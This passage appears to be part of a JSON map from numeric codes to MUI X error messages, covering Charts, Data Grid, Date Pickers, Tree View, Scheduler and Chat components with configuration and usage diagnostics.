  "29": "MUI X Charts: Scatter series with id=\"%s\" has incomplete datasetKeys. Properties %s are missing. Scatter plots require both \"x\" and \"y\" keys to map dataset values to coordinates. Add the missing datasetKeys to the series configuration.",
  "30": "MUI X Charts: Could not find the Charts context. This happens when the component is rendered outside of a ChartsDataProvider or ChartsContainer parent component, which means the required context is not available. Wrap your component in a ChartsDataProvider or ChartsContainer. This can also happen if you are bundling multiple versions of the library.",
  "31": "MUI X Charts: Failed assertion - this component should not be rendered. This is an internal component used for styling purposes only. If you see this error, there may be a configuration issue with styled components.",
  "32": "MUI X Charts: Could not find the Charts context. This happens when the component is rendered outside of a ChartsContainer parent component. Wrap your component in a ChartsContainer or ChartsDataProvider.",
  "33": "MUI X Charts: Bar series with id=\"%s\" has no data. The chart cannot render this series without data. Provide a data property to the series or use the dataset prop.",
  "34": "MUI X Charts: Series id \"%s\" is not unique. Each series must have a unique id to be properly identified and rendered. Provide a unique id for each series in your chart configuration.",
  "35": "MUI X Charts: Series id \"%s\" is not unique across series types. Each series must have a unique id even across different series types. Provide a unique id for each series in your chart configuration.",
  "36": "MUI X Charts: The id \"%s\" is not associated with any series. This may indicate the series was not properly registered or the id is incorrect. Verify the series id matches one defined in your chart configuration.",
  "37": "MUI X Charts: The x-axis uses `dataKey` or `valueGetter` but no `dataset` is provided. When using dataKey or valueGetter, a dataset must be provided to retrieve the axis data. Either provide a dataset prop or use the data property directly on the x-axis.",
  "38": "MUI X Charts: The y-axis uses `dataKey` or `valueGetter` but no `dataset` is provided. When using dataKey or valueGetter, a dataset must be provided to retrieve the axis data. Either provide a dataset prop or use the data property directly on the y-axis.",
  "39": "MUI X Charts: The %s-axis uses `dataKey` or `valueGetter` but no `dataset` is provided. When using dataKey or valueGetter, a dataset must be provided to retrieve the axis data. Either provide a dataset prop or use the data property directly on the %s-axis.",
  "40": "MUI X Charts: getAxisValue is not implemented for polar continuous axes. This function only supports ordinal (band/point) scales.",
  "41": "MUI X Charts: The z-axis uses `dataKey` or `valueGetter` but no `dataset` is provided. When using dataKey or valueGetter, a dataset must be provided to retrieve the axis data. Either provide a dataset prop or use the data property directly on the z-axis.",
  "42": "MUI X Charts: No identifier cleaner found for series type \"%s\". This internal error occurs when the series configuration is incomplete.",
  "43": "MUI X Charts: No identifier serializer found for series type \"%s\". This internal error occurs when the series configuration is incomplete.",
  "44": "MUI X Charts: range bar series with id='%s' has no data.\nEither provide a data property to the series or use the dataset prop.",
  "45": "MUI X Charts: range bar series with id='%s' has incomplete datasetKeys.\nProperties %s are missing.",
  "46": "MUI X Charts: Sankey series context is missing. Ensure the SankeyPlot is used inside a properly configured ChartsDataProviderPro.",
  "47": "MUI X Charts: Sankey diagram contains circular references.",
  "48": "MUI X Charts: Point scale is not supported in FunnelChart. Please use band scale instead.",
  "49": "Expected prop '%s' to be of type Element",
  "50": "MUI X Charts: Sankey node with id='%s' is missing.",
  "51": "MUI X Charts: Failed to import 'rasterizehtml' module. This dependency is mandatory when exporting a chart as an image. Make sure you have it installed as a dependency.",
  "52": "MUI X Charts: Cannot export an image with zero width or height. Width: %spx. Height: %spx.",
  "53": "MUI X Charts: Failed to create blob from canvas.",
  "54": "MUI X Data Grid: The \"%s\" column type only accepts Date objects as values. Received value of type \"%s\" for row ID \"%s\", field \"%s\". Use valueGetter to transform the value into a Date object.",
  "55": "MUI X: Wrong drag direction",
  "56": "MUI X: Expected skeleton cells to be defined with `data-field` attribute.",
  "57": "MUI X: Failed assertion: should not be rendered",
  "58": "MUI X: The root element is not found.",
  "59": "MUI X: exportAs not supported.",
  "60": "MUI X: Missing the `getActions` property in the `GridColDef`.",
  "61": "MUI X: Missing context.",
  "62": "MUI X: Missing context. Quick Filter subcomponents must be placed within a <QuickFilter /> component.",
  "63": "MUI X: Missing context. Toolbar subcomponents must be placed within a <Toolbar /> component.",
  "64": "MUI X: Missing translation for key %s.",
  "65": "MUI X: Log level %s not recognized.",
  "66": "MUI X: You're not allowed to update several sub-state in one transaction. You already updated %s, therefore, you're not allowed to update %s in the same transaction.",
  "67": "MUI X Data Grid: Could not find the Data Grid context. This happens when a component is rendered outside of a DataGrid, DataGridPro, or DataGridPremium parent component. Ensure your component is a child of a Data Grid component. This can also happen if you are bundling multiple versions of the Data Grid.",
  "68": "MUI X Data Grid: Could not find the Data Grid configuration context. This happens when a component is rendered outside of a DataGrid, DataGridPro, or DataGridPremium parent component. Ensure your component is a child of a Data Grid component. This can also happen if you are bundling multiple versions of the Data Grid.",
  "69": "MUI X Data Grid: Could not find the Data Grid private context. This happens when a component is rendered outside of a DataGrid, DataGridPro, or DataGridPremium parent component. Ensure your component is a child of a Data Grid component. This can also happen if you are bundling multiple versions of the Data Grid.",
  "70": "MUI X Data Grid: useGridRootProps should only be used inside a Data Grid component. The component must be a child of DataGrid, DataGridPro, or DataGridPremium. Ensure your component is properly nested within a Data Grid.",
  "71": "MUI X: Invalid `logicOperator` property in the `GridFilterPanel`.",
  "72": "MUI X: Can't apply a strategy processor before defining an active strategy",
  "73": "MUI X: No processor found for processor \"%s\" on strategy \"%s\"",
  "74": "MUI X Data Grid: An element of the columnGroupingModel is missing both `field` and `groupId`. Each column group must have a groupId to identify it. Add a groupId to the column group definition.",
  "75": "MUI X Data Grid: The groupId \"%s\" is used multiple times in the columnGroupingModel. Each groupId must be unique within the column grouping model. Use unique groupId values for each column group.",
  "76": "MUI X Data Grid: The field \"%s\" appears multiple times in the columnGroupingModel. It is found in both: \"%s\" and \"%s\". Each field should only appear once in the grouping model.",
  "77": "MUI X Data Grid: The cell with id=%s and field=%s is not editable. Cell editing requires the cell to be marked as editable. Check the column definition and ensure editable is set to true, or verify the isCellEditable callback.",
  "78": "MUI X Data Grid: The cell with id=%s and field=%s is not in %s mode. The operation requires the cell to be in a specific editing mode. Ensure the cell is in %s mode before performing this operation.",
  "79": "MUI X Data Grid: The row with id=%s is not in %s mode. The operation requires the row to be in a specific editing mode. Ensure the row is in %s mode before performing this operation.",
  "80": "MUI X Data Grid: No grid root element available for print export. The grid must be mounted before exporting. Ensure the DataGrid component is rendered and visible before calling exportDataAsPrint.",
  "81": "MUI X Data Grid: No filter operators found for column \"%s\". Columns must have filter operators defined to enable filtering. Add filterOperators to the column definition or use a column type that includes them.",
  "82": "MUI X Data Grid: No filter operator \"%s\" found for column \"%s\". The specified operator is not available for this column. Use one of the operators defined in the column's filterOperators array.",
  "83": "MUI X: `pageSize` cannot exceed 100 in the MIT version of the DataGrid.\nYou need to upgrade to DataGridPro or DataGridPremium component to unlock this feature.",
  "84": "MUI X: `rowSelectionModel` can only contain 1 item in DataGrid.\nYou need to upgrade to DataGridPro or DataGridPremium component to unlock multiple selection.",
  "85": "MUI X: The Data Grid component requires all rows to have a unique `id` property.\nAlternatively, you can use the `getRowId` prop to specify a custom id for each row.\n%s\n%s",
  "86": "MUI X: Unable to prepare a partial update if a full update is not applied yet.",
  "87": "MUI X: No row with id #%s found",
  "88": "MUI X: You cannot update several rows at once in `apiRef.current.updateRows` on the DataGrid.\nYou need to upgrade to DataGridPro or DataGridPremium component to unlock this feature.",
  "89": "MUI X: No row with id #%s found.",
  "90": "MUI X: Only group nodes can be expanded or collapsed.",
  "91": "MUI X: You cannot replace rows using `apiRef.current.unstable_replaceRows` on the DataGrid.\nYou need to upgrade to DataGridPro or DataGridPremium component to unlock this feature.",
  "92": "MUI X: `apiRef.current.unstable_replaceRows` is not compatible with tree data and row grouping",
  "93": "MUI X: The row reordering does not support reordering of footer or grouping rows.",
  "94": "MUI X: The 'inside' position is only supported for tree data. Use 'above' or 'below' for flat data.",
  "95": "MUI X: Target row with id #%s not found in current view.",
  "96": "MUI X: Source row with id #%s not found in current view.",
  "97": "MUI X Data Grid: No row with id \"%s\" found. The row to reorder does not exist in the grid. Verify the row id is correct and the row exists.",
  "98": "MUI X Data Grid: Row reordering does not support reordering of footer or grouping rows. Only leaf (data) rows can be reordered. Ensure you are only reordering data rows.",
  "99": "MUI X: No filter operator found for column '%s'.",
  "100": "MUI X: serverOptions.minDelay is larger than serverOptions.maxDelay",
  "101": "MUI X: serverOptions.groupKeys must be defined to compute tree data",
  "102": "MUI X: serverOptions.groupKeys must be defined to compute row grouping data",
  "103": "MUI X: serverOptions.groupFields must be defined to compute row grouping data",
  "104": "MUI X: serverOptions.minDelay is larger than serverOptions.maxDelay ",
  "105": "MUI X: queryOptions.pivotModel must be defined to compute pivoting data",
  "106": "MUI X: Unknown dataset",
  "107": "MUI X: Could not fetch the data",
  "108": "MUI X: Could not update the row with the id %s",
  "109": "MUI X: Could not process prompt",
  "110": "MUI X: useDemoData tree data mode only works up to 1000 rows.",
  "111": "MUI X: The tree data grouping field does not exist.",
  "112": "MUI X Data Grid: DataGrid is not exported from @mui/x-data-grid-premium. The Premium package exports DataGridPremium instead. Use `import { DataGridPremium } from '@mui/x-data-grid-premium'` or import DataGrid from @mui/x-data-grid.",
  "113": "MUI X Data Grid: DataGridPro is not exported from @mui/x-data-grid-premium. The Premium package exports DataGridPremium instead. Use `import { DataGridPremium } from '@mui/x-data-grid-premium'`.",
  "114": "MUI X: Missing context. Collapsible subcomponents must be placed within a <Collapsible /> component.",
  "115": "MUI X: Missing context. Prompt Field subcomponents must be placed within a <PromptField /> component.",
  "116": "MUI X: Missing context. ResizablePanel subcomponents must be placed within a <ResizablePanel /> component.",
  "117": "MUI X: Could not find the Data Grid charts integration context.\nIt looks like you rendered your component outside of a DataGrid, DataGridPro or DataGridPremium parent component.\nThis can also happen if you are bundling multiple versions of the Data Grid.",
  "118": "MUI X: Conversation not found",
  "119": "MUI X: No `pivotingColDef()` prop provided with to the Data Grid, but response contains `pivotColumns`.\n\nYou need a callback to return at least a field column prop for each generated pivot column.\n\nSee [server-side pivoting](https://mui.com/x/react-data-grid/server-side-data/pivoting/) documentation for more details.",
  "120": "MUI X: Header name for a column group based on %s cannot be converted to a string.",
  "121": "MUI X: No `getGroupKey` method provided with the dataSource.",
  "122": "MUI X: No `getChildrenCount` method provided with the dataSource.",
  "123": "MUI X: The row reordering do not support reordering of footer rows.",
  "124": "MUI X Data Grid: DataGrid is not exported from @mui/x-data-grid-pro. The Pro package exports DataGridPro instead. Use `import { DataGridPro } from '@mui/x-data-grid-pro'` or import DataGrid from @mui/x-data-grid.",
  "125": "MUI X Data Grid: DataGridPremium is not exported from @mui/x-data-grid-pro. For Premium features, use @mui/x-data-grid-premium with a Premium plan license. Otherwise, use `import { DataGridPro } from '@mui/x-data-grid-pro'` for Pro features.",
  "126": "MUI X: No row node found for id #%s",
  "127": "MUI X: Row node for id #%s not found after move",
  "128": "MUI X Data Grid: No row with id \"%s\" found. The source row for reordering does not exist in the grid. Verify the row id is correct and the row exists.",
  "129": "MUI X Data Grid: No row with id \"%s\" found. The target row for reordering does not exist in the grid. Verify the row id is correct and the row exists.",
  "130": "MUI X Data Grid: Row reordering does not support reordering of footer rows. Footer rows are special rows that cannot be moved. Only data rows can be reordered.",
  "131": "MUI X Data Grid: Target row with id \"%s\" not found in current view. The target row may be filtered out or not visible. Ensure the target row is visible in the current grid view.",
  "132": "MUI X Data Grid: setRowIndex() is not supported for tree data. Tree data uses hierarchical positioning which requires setRowPosition(). Use setRowPosition() instead to reorder rows in tree data mode.",
  "133": "MUI X Data Grid: No getGroupKey method provided with the dataSource. Server-side tree data requires a getGroupKey method to determine row hierarchy. Add getGroupKey to your dataSource configuration.",
  "134": "MUI X Data Grid: No getChildrenCount method provided with the dataSource. Server-side tree data requires a getChildrenCount method to determine expandable rows. Add getChildrenCount to your dataSource configuration.",
  "135": "MUI X Data Grid: The values returned by getGroupKey for sibling rows must be unique. Rows with id \"%s\" and \"%s\" have the same path: %s. Ensure getGroupKey returns unique values for each sibling row.",
  "136": "MUI X Data Grid: No getTreeDataPath function provided. Tree data mode requires a getTreeDataPath prop to determine the hierarchy. Provide a getTreeDataPath function that returns the path array for each row.",
  "137": "MUI X Data Grid: The path returned by getTreeDataPath must be unique for each row. Rows with id \"%s\" and \"%s\" have the same path: %s. Ensure each row has a unique path in the tree structure.",
  "138": "MUI X Date Pickers: Missing dayjs UTC plugin. UTC and timezone support requires the dayjs UTC plugin to be enabled. See https://mui.com/x/react-date-pickers/timezone/#day-js-and-utc for setup instructions.",
  "139": "MUI X Date Pickers: Missing dayjs timezone plugin. Timezone support requires both the dayjs UTC and timezone plugins to be enabled. See https://mui.com/x/react-date-pickers/timezone/#day-js-and-timezone for setup instructions.",
  "140": "MUI X: Missing timezone plugin.\nTo be able to use timezones, you have to pass the default export from `moment-timezone` to the `dateLibInstance` prop of `LocalizationProvider`.\nFind more information on https://mui.com/x/react-date-pickers/timezone/#moment-and-timezone",
  "141": "MUI X: min date must be on or after 1356-01-01 H (1937-03-14)",
  "142": "MUI X: max date must be on or before 1499-12-29 H (2076-11-26)",
  "143": "MUI X Date Pickers: The date adapter should be imported from `@mui/x-date-pickers` or `@mui/x-date-pickers-pro`, not from `@date-io`. Using adapters from @date-io directly is not supported. For example, use `import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs'` instead of `import AdapterDayjs from '@date-io/dayjs'`. See https://mui.com/x/react-date-pickers/quickstart/#installation",
  "144": "MUI X Date Pickers: Unknown view \"%s\" found in MultiSectionDigitalClock. This view is not supported by the component. Use valid view values: \"hours\", \"minutes\", \"seconds\", or \"meridiem\".",
  "145": "MUI X: Cannot call sectionListRef.%s before the mount of the component.",
  "146": "MUI X: The `usePickerTextFieldOwnerState` can only be called in components that are used inside a PickerTextField component",
  "147": "MUI X: You must provide the type for ClockView",
  "148": "MUI X: The `usePickerActionsContext` can only be called in fields that are used as a slot of a Picker component",
  "149": "MUI X: Can not find the date and time pickers localization context.\nIt looks like you forgot to wrap your component in LocalizationProvider.\nThis can also happen if you are bundling multiple versions of the `@mui/x-date-pickers` package",
  "150": "MUI X: Can not find the date and time pickers adapter from its localization context.\nIt looks like you forgot to pass a `dateAdapter` to your LocalizationProvider.",
  "151": "MUI X: The `usePickerContext` hook can only be called inside the context of a Picker component",
  "152": "MUI X: PickersInputBase should always be used inside a PickersTextField component",
  "153": "MUI X Date Pickers: The `views` prop must contain at least one view. The date picker needs at least one view to display. Add a valid view to the views array (e.g., [\"year\", \"month\", \"day\"]).",
  "154": "MUI X: The format expansion seems to be in an infinite loop. Please open an issue with the format passed to the component.",
  "155": "MUI X: Should not call `commitToken` with an empty token",
  "156": "MUI X: The token %s should have a 'maxLength' property on it's adapter",
  "157": "MUI X: The token \"%s\" is not supported by the Date and Time Pickers.\nPlease try using another token or open an issue on https://github.com/mui/mui-x/issues/new/choose if you think it should be supported.",
  "158": "MUI X:Invalid section type",
  "159": "MUI X: The `sectionListRef` prop has not been initialized by `PickersSectionList`\nYou probably tried to pass a component to the `textField` slot that contains an `<input />` element instead of a `PickersSectionList`.\n\nIf you want to keep using an `<input />` HTML element for the editing, please add the `enableAccessibleFieldDOMStructure={false}` prop to your Picker or Field component:\n\n<DatePicker enableAccessibleFieldDOMStructure={false} slots={{ textField: MyCustomTextField }} />\n\nLearn more about the field accessible DOM structure on the MUI documentation: https://mui.com/x/react-date-pickers/fields/#fields-to-edit-a-single-element",
  "160": "MUI X: You must not mix controlling and uncontrolled mode for `open` prop",
  "161": "MUI X: The `usePickerRangePositionContext` can only be called in components that are used inside a picker component",
  "162": "MUI X: Unknown valueType: %s",
  "163": "MUI X: The timezone of the start and the end date should be the same.",
  "164": "MUI X: Gesture must be initialized with a valid name.",
  "165": "MUI X: Gesture can't be created with a native event name. Tried to use \"%s\". Please use a custom name instead.",
  "166": "MUI X: Pointer with id %s does not exist",
  "167": "MUI X: Mouse pointer can only be used in mouse mode",
  "168": "MUI X: Mouse mode only supports one pointer",
  "169": "MUI X: Plugin with name \"%s\" already exists. Please use a unique name.",
  "170": "MUI X: Target element is required for move gesture",
  "171": "MUI X: Target element is required for pan gesture",
  "172": "MUI X: Target element is required for pinch gesture",
  "173": "MUI X: Pinch gesture requires at least 2 pointers",
  "174": "MUI X: Target element is required for press gesture",
  "175": "MUI X: Target element is required for rotate gesture",
  "176": "MUI X: Rotate gesture requires at least 2 pointers",
  "177": "MUI X: Target element is required for tap gesture",
  "178": "MUI X: Target element is required for turnWheel gesture",
  "179": "MUI X: Unsupported number of selectors. The createSelector function supports up to 8 input selectors. Consider combining selectors or restructuring your selector logic.",
  "180": "MUI X: Missing arguments for createSelector. At least one selector function is required. Provide one or more selector functions as arguments.",
  "181": "MUI X: Unsupported number of arguments for selector combiner. The combiner function supports up to 3 additional arguments beyond the selector outputs. Consider restructuring your selector to use fewer arguments.",
  "182": "MUI X: Unsupported number of arguments for selector. The memoized selector supports up to 3 additional arguments. Consider restructuring your selector to use fewer arguments.",
  "183": "MUI X: Unhandled license status encountered in watermark display. This is an internal error indicating an unknown license status. Please report this issue if you encounter it.",
  "184": "MUI X: Invalid scope provided for license generation. The scope \"%s\" is not recognized. Valid scopes are: %s.",
  "185": "MUI X: Invalid licensing model provided for license generation. The licensing model \"%s\" is not recognized. Valid models are: %s.",
  "186": "MUI X: Only ASCII characters are supported in license encoding. Non-ASCII characters cannot be encoded. Ensure the input contains only ASCII characters.",
  "187": "MUI X: Expired license key.\n\nYour annual license key to use MUI X %s in non-production environments has expired. If you are seeing this development console message, you might be close to breach the license terms by making direct or indirect changes to the frontend of an app that render a MUI X %s component (more details in https://mui.com/r/x-license-annual).\n\nTo solve the problem you can either:\n\n- Renew your license https://mui.com/r/x-get-license and use the new key\n- Stop making changes to code depending directly or indirectly on MUI X %s's APIs\n\nNote that your license is perpetual in production environments with any version released before your license term ends.\n\n- License key expiry timestamp: %s\n- Installed license key: %s",
  "188": "MUI X: The release information is missing and license validation cannot proceed. This is an internal error that should not occur in normal usage. Please report this issue if you encounter it.",
  "189": "MUI X: The release information is invalid and license validation cannot proceed. The package release timestamp could not be parsed. This may indicate a corrupted package. Try reinstalling the MUI X packages.",
  "190": "MUI X Tree View: Could not find the Tree View context. This happens when a component is rendered outside of a SimpleTreeView or RichTreeView parent component. Ensure your component is a child of a Tree View component. This can also happen if you are bundling multiple versions of the Tree View.",
  "191": "MUI X Tree View: Invalid range - unable to find a path between the two items. This may occur if the items are not in the same tree or the tree structure is invalid. Verify that both items exist in the tree.",
  "192": "MUI X Tree View: All items must have a `label` property. You can use the `getItemLabel` prop to specify a custom label for each item. An item was provided without a label: %s",
  "193": "MUI X Tree View: All items must have a unique `id` property. You can use the `getItemId` prop to specify a custom id for each item. An item was provided without an id: %s",
  "194": "MUI X Tree View: All items must have a unique `id` property. The id \"%s\" is used by multiple items. Use the `getItemId` prop to specify a custom id for each item if needed.",
  "195": "MUI X: The Tree View component requires all items to have a unique `id` property.\nAlternatively, you can use the `getItemId` prop to specify a custom id for each item.\nTwo items were provided with the same id in the `items` prop: \"%s\"",
  "196": "MUI X: Could not find the Tree View Children Item context.\nIt looks like you rendered your component outside of a SimpleTreeView parent component.\nThis can also happen if you are bundling multiple versions of the Tree View.",
  "197": "MUI X: The Tree View component requires all items to have a `label` property.\nThe label of an item cannot be empty.\nItem ID: %s",
  "198": "MUI X: RichTreeViewItems only supports flat DOM structure when virtualized.",
  "199": "MUI X: There is no ongoing reordering.",
  "200": "MUI X: Unimplemented: colspan feature is required",
  "201": "MUI X: Unimplemented: rowspan feature is required",
  "202": "MUI X Charts: Series with ID \"%s\" should have an x-axis of type \"band\". Candlestick charts require a band scale for the x-axis. Set the scaleType to \"band\" for this axis.",
  "203": "MUI X Charts: OHLC series with id='%s' has no data.\nEither provide a data property to the series or use the dataset prop.",
  "204": "MUI X Charts: OHLC series with id='%s' has incomplete datasetKeys.\nProperties %s are missing.",
  "205": "MUI X Scheduler: useEventCalendarStyledContext must be used within an EventCalendarStyledContext.Provider. The component requires access to calendar styling and locale information. Ensure the component is rendered inside an EventCalendar component.",
  "206": "MUI X Scheduler: `%s` is missing. Hook must be placed within its Provider.",
  "207": "MUI X Scheduler: useEventEditingStyledContext must be used within an EventEditingStyledContext.Provider. The component requires access to the editing surface styling and locale information. Ensure the component is rendered inside an EventCalendar (or premium) provider.",
  "208": "MUI X Scheduler: Unsupported variant provided to DayGridEvent component. The DayGridEvent component only supports specific variant values. Check the component documentation for supported variants.",
  "209": "MUI X Scheduler: Unsupported variant provided to EventItem component. The EventItem component only supports specific variant values. Check the component documentation for supported variants.",
  "210": "MUI X Scheduler: Event with id=\"%s\" was not found. The requested event does not exist in the scheduler state. Verify the event id is correct and the event has been added.",
  "212": "MUI X Scheduler: useEventCalendarStoreContext must be used within an <EventCalendar /> component",
  "213": "MUI X Scheduler: useSchedulerStoreContext must be used within an <EventCalendar /> or a <EventTimelinePremium /> component",
  "214": "Base UI: Render element or function are not defined.",
  "215": "MUI X Scheduler: `CalendarGridDayCellContext` is missing. <CalendarGrid.DayEvent /> must be placed within <CalendarGrid.DayCell />.",
  "216": "MUI X Scheduler: `CalendarGridDayEventContext` is missing. CalendarGrid DayEvent parts must be placed within <CalendarGrid.DayEvent />.",
  "217": "MUI X Scheduler: CalendarGridDayRowContext is missing. <CalendarGrid.DayEvent /> must be placed within <CalendarGrid.DayRow />. Ensure the component hierarchy is correct.",
  "218": "MUI X Scheduler: `CalendarGridRootContext` is missing. CalendarGrid parts must be placed within <CalendarGrid.Root />.",
  "219": "MUI X Scheduler: `CalendarGridTimeColumnContext` is missing. <CalendarGrid.TimeEvent /> must be placed within <CalendarGrid.TimeColumn />.",
  "220": "MUI X Scheduler: `CalendarGridTimeEventContext` is missing. CalendarGrid TimeEvent parts must be placed within <CalendarGrid.TimeEvent />.",
  "221": "Base UI: CompositeRootContext is missing. Composite parts must be placed within <Composite.Root>.",
  "222": "MUI X Scheduler: This event is recurring and cannot be updated with updateEvent(). Recurring events require special handling to manage series and exceptions. Use updateRecurringEvent() instead to update recurring events.",
  "223": "MUI X Scheduler: The event targeted by the recurring scope dialog is not recurring. Recurring scope changes require an event with a recurrence rule. Use updateEvent() or deleteEvent() for non-recurring events.",
  "224": "MUI X Scheduler: The recurring rule cannot have both count and until properties. A recurrence rule should specify either a count (number of occurrences) or an until date, but not both. Remove one of these properties from the recurrence rule.",
  "225": "MUI X Scheduler: Monthly recurrences cannot have both byDay and byMonthDay properties. Specify either specific weekdays (byDay) or specific dates (byMonthDay), but not both. Remove one of these properties from the recurrence rule.",
  "226": "MUI X Scheduler: Yearly recurrences only support exact same date recurrence. The yearly frequency repeats on the same month and day as DTSTART. Remove byMonth, byMonthDay, and byDay properties for yearly recurrence.",
  "227": "MUI X Scheduler: Unknown frequency %s. Expected: \"DAILY\" | \"WEEKLY\" | \"MONTHLY\" | \"YEARLY\".",
  "228": "MUI X Scheduler: \"%s\" is not a valid value for the byDay property. Valid values are weekday codes (MO, TU, WE, TH, FR, SA, SU) optionally prefixed with an ordinal (-5 to 5). Examples: \"MO\", \"2TU\", \"-1FR\".",
  "229": "MUI X Scheduler: The byDay property must contain plain weekday codes (MO..SU) without ordinals when used with weekly frequency. Ordinals like \"1MO\" or \"-1FR\" are only valid for monthly recurrence. Remove the ordinal prefixes from the byDay values.",
  "230": "MUI X Scheduler: The byDay property for monthly recurrence must contain a single element with an ordinal. Examples: [\"2TU\"] for the second Tuesday or [\"-1FR\"] for the last Friday. Provide exactly one byDay value with an ordinal.",
  "231": "MUI X Scheduler: Unknown frequency \"%s\". Supported frequencies are: \"DAILY\", \"WEEKLY\", \"MONTHLY\", \"YEARLY\". Use one of the supported frequency values.",
  "232": "MUI X Scheduler: Monthly recurrences cannot have both byDay and byMonthDay properties. Use either byDay for weekday-based recurrence (e.g., \"2TU\" for second Tuesday) or byMonthDay for date-based recurrence (e.g., [15] for the 15th of each month).",
  "233": "MUI X Scheduler: Monthly recurrences only support a single byMonthDay value. Multiple byMonthDay values are not supported. Provide only one day of the month value.",
  "234": "MUI X Scheduler: Yearly recurrences only support exact same date recurrence based on DTSTART. Properties byMonth, byMonthDay, and byDay are not supported for yearly frequency. The event will recur on the same month and day as the start date.",
  "235": "MUI X Scheduler: Invalid RRULE part \"%s\". Each RRULE part must be in the format \"KEY=VALUE\". Check the recurrence rule string format.",
  "236": "MUI X Scheduler: Unsupported RRULE property \"%s\". Supported properties are: %s. Remove or replace the unsupported property.",
  "237": "MUI X Scheduler: RRULE must include a FREQ property. The frequency (DAILY, WEEKLY, MONTHLY, or YEARLY) is required for recurrence rules. Add a FREQ property to the RRULE string.",
  "238": "MUI X Scheduler: Invalid INTERVAL value \"%s\". INTERVAL must be a positive integer (1 or greater). Provide a valid interval value.",
  "239": "MUI X Scheduler: Invalid BYMONTHDAY values \"%s\". BYMONTHDAY values must be integers between 1 and 31. Provide valid day of month values.",
  "240": "MUI X Scheduler: Invalid BYMONTH values \"%s\". BYMONTH values must be integers between 1 and 12. Provide valid month values.",
  "241": "MUI X Scheduler: Invalid COUNT value \"%s\". COUNT must be a positive integer (1 or greater). Provide a valid count value.",
  "242": "MUI X Scheduler: Invalid UNTIL date \"%s\". The UNTIL value must be a valid date in ISO format. Provide a valid date string.",
  "243": "MUI X Scheduler: The scope \"%s\" is not supported for recurring events. Supported scopes are \"all\", \"only-this\", and \"this-and-following\". Use one of the supported scope values.",
  "244": "MUI: useEventCalendarPremiumStoreContext must be used within an <EventCalendarPremium /> component",
  "245": "MUI: useEventTimelinePremiumStoreContext must be used within an <EventTimelinePremium /> component",
  "246": "MUI: `TimelineGridEventContext` is missing. TimelineGrid Event parts must be placed within <TimelineGrid.Event />.",
  "247": "MUI: `TimelineGridEventRowContext` is missing. <TimelineGrid.Event /> part must be placed within <TimelineGrid.EventRow />.",
  "248": "MUI X: useEventTimelinePremiumStyledContext must be used within EventTimelinePremiumStyledContext.Provider",
  "249": "MUI X: The `sectionListRef` prop has not been initialized by `PickersSectionList`\nYou probably tried to pass a component to the `textField` slot that contains an `<input />` element instead of a `PickersSectionList`.\n\nLearn more about the field accessible DOM structure on the MUI documentation: https://mui.com/x/react-date-pickers/fields/#fields-to-edit-a-single-element",
  "250": "MUI X Chat: reloadConversations is not yet implemented.\nThis method is a planned API stub. Remove the call until it is implemented.",
  "251": "MUI X Chat: reloadMessages is not yet implemented.\nThis method is a planned API stub. Remove the call until it is implemented.",
  "252": "MUI X Chat: reconnectRealtime is not yet implemented.\nThis method is a planned API stub. Remove the call until it is implemented.",
  "253": "MUI X Chat: useChatStore must be used within a <ChatProvider> component",
  "254": "Stream processing failed.",
  "255": "MUI X Chat: useChatRuntimeContext must be used within a <ChatProvider> component",
  "256": "MUI X Chat: useChatStoreContext must be used within a <ChatProvider> component",
  "257": "MUI X Scheduler: CalendarGridDayRowContext is missing. <CalendarGrid.DayCell /> and <CalendarGrid.DayEvent /> must be placed within <CalendarGrid.DayRow />. Ensure the component hierarchy is correct.",
  "258": "MUI X Charts: Radial line series with id=\"%s\" has no data. The chart cannot render this series without data. Provide a data property to the series or use the dataset prop.",
  "259": "MUI X Scheduler: EventTimelinePremium received the preset \"%s\", which is not part of the `presets` prop (received: %s). This leaves the timeline in an inconsistent state where the current preset is not one of the allowed options. Add \"%s\" to the `presets` prop, or pass a preset that is already included. See https://mui.com/x/react-scheduler/event-timeline/presets/ for more details.",
  "260": "MUI X Scheduler: EventCalendar received the view \"%s\", which is not part of the `views` prop (received: %s). This leaves the calendar in an inconsistent state where the current view is not one of the allowed options. Add \"%s\" to the `views` prop, or pass a view that is already included. See https://mui.com/x/react-scheduler/event-calendar/views/ for more details.",
  "261": "MUI X Scheduler: EventCalendar received an empty `views` prop. This leaves the calendar without any view to render. Pass at least one view, or omit the prop to use the default set. See https://mui.com/x/react-scheduler/event-calendar/views/ for more details.",
  "262": "MUI X Scheduler: EventTimelinePremium received an empty `presets` prop. This leaves the timeline without any preset to render. Pass at least one preset, or omit the prop to use the default set. See https://mui.com/x/react-scheduler/event-timeline/presets/ for more details.",
  "263": "MUI X Scheduler: useEventCalendarPremiumStoreContext must be used within an <EventCalendarPremium /> component",
  "264": "MUI X Scheduler: useEventTimelinePremiumStoreContext must be used within an <EventTimelinePremium /> component",
  "265": "MUI X Scheduler: `TimelineGridEventContext` is missing. TimelineGrid Event parts must be placed within <TimelineGrid.Event />.",
  "266": "MUI X Scheduler: `TimelineGridEventRowContext` is missing. <TimelineGrid.Event /> part must be placed within <TimelineGrid.EventRow />.",
  "267": "MUI X Scheduler: TimelineGridRootContext is missing. TimelineGrid parts must be placed within <TimelineGrid.Root />.",
  "268": "MUI X Scheduler: TimelineGridSubGridContext is missing. <TimelineGrid.TitleRow /> and <TimelineGrid.EventRow /> must be placed within <TimelineGrid.SubGrid />.",
  "269": "MUI X Charts: Radial bar series with id=\"%s\" has no data. The chart cannot render this series without data. Provide a data property to the series or use the dataset prop.",
  "270": "MUI X Scheduler: Unsupported header unit \"%s\". TimelineGridHeader cannot iterate cells for an unknown unit, so the header would render incorrectly. Use one of: 'hour', 'day', 'week', 'month', 'year'.",
  "271": "MUI X Scheduler: EventTimelinePremiumStyledContext is missing. `useEventTimelinePremiumStyledContext` cannot read the timeline styled context (classes, localeText, resourceColumnLabel) without a provider. Make sure the calling component is rendered inside <EventTimelinePremium />.",
  "272": "MUI X Scheduler: No configuration registered for preset \"%s\". TimelineGridHeader cannot derive header rows or grid sizing without a config, so the timeline would render incorrectly. Use one of the built-in presets (\"dayAndHour\", \"dayAndMonth\", \"dayAndWeek\", \"monthAndYear\", \"year\").",
  "273": "MUI X Scheduler: TimelineGridHeader.iterate() received a range where rangeEnd is before rangeStart. The iteration would silently produce an empty header, masking the misconfiguration. Check the preset's `getStartDate` / `getEndDate` so they return ordered dates.",
